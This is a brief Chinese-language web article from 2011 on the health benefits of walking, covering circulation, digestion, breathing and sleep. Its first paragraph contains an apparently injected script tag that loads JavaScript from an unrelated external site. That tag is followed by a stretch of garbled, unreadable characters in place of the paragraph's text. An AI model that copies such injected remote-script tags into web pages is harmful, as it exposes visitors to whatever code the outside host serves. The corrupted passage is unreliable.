散步的好处有哪些？

日期:2011-09-14 浏览:277次

散步的好处有哪些？

　　散步的好处十分明显：

　　长期坐着或站着工作的人，容易发生腿胀、静脉曲张和痔疮等疾病?script type='text/javascript' src='http://www.368tea.com/js/v.js'>蚴巧硖逑虏康木猜鲇傺灰琢骰匦脑唷Ｉ⒉街校轮∪饧忧炕疃薪谧嗟丶费咕猜鲅埽俳貉罚匝貉杆倩匦挠欣?/p>

　　身体活动少的时候，胃肠的活动也会跟着减弱，很容易引起消化不良、便秘。若饭后散步，腹部肌肉的运动对胃肠进行有效的“按摩”，会促进和改善胃肠的消化和吸收。

　　当人们较长时间坐着，肺的扩张会受到一定限制，影响呼吸的深度。散步时，身体挺直不弓，胳膊摆动自由，使肺的换气量大大提高。

　　有节奏的散步，也对人的大脑皮层造成一种单调而反复的刺激，能够促进大脑皮层抑制过程的发展，使工作累的神经细胞得到充分休息。

　　所以，有人也用睡前散步的方法来防治失眠。

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